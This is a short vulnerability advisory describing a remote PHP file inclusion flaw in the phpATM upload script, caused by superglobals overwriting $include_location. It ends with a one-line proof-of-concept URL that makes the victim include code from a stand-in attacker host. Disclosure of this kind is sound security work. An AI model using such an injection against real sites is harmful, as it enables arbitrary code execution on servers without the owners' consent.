phpATMinclude.txt

`Affected product: phpATM  
Version vulnerable: 1.21, and probably earlier.  
Risk: High, execution of arbitrary PHP  
Vendor informed: Not possible (mail bounces with 550, tried twice)  
Vendor URL: http://phpatm.free.fr/  
  
phpATM seems to be some up-/downloadscript for web environments. The  
discussed vulnerability was found exploited in the wild.  
  
phpATM allows the execution of arbitrary PHP code via remote includes,  
when allow_url_fopen is set. The global variable $include_location ist  
used with include(), and can be used by attackers to run any code with  
the privileges of the web user.  
  
The security flaw is located in `include/common.php', near line 91,  
where content from the superglobal arrays is moved into global context.  
This can be used to overwrite the earlier defined global  
$include_location. Bulk-copying stuff into global context is a very bad  
idea, as this can easily be abused to overwrite security related variables.  
  
PoC: http://victim/index.php?include_location=http://attacker/  
  
Regards,  
Ingvar  
`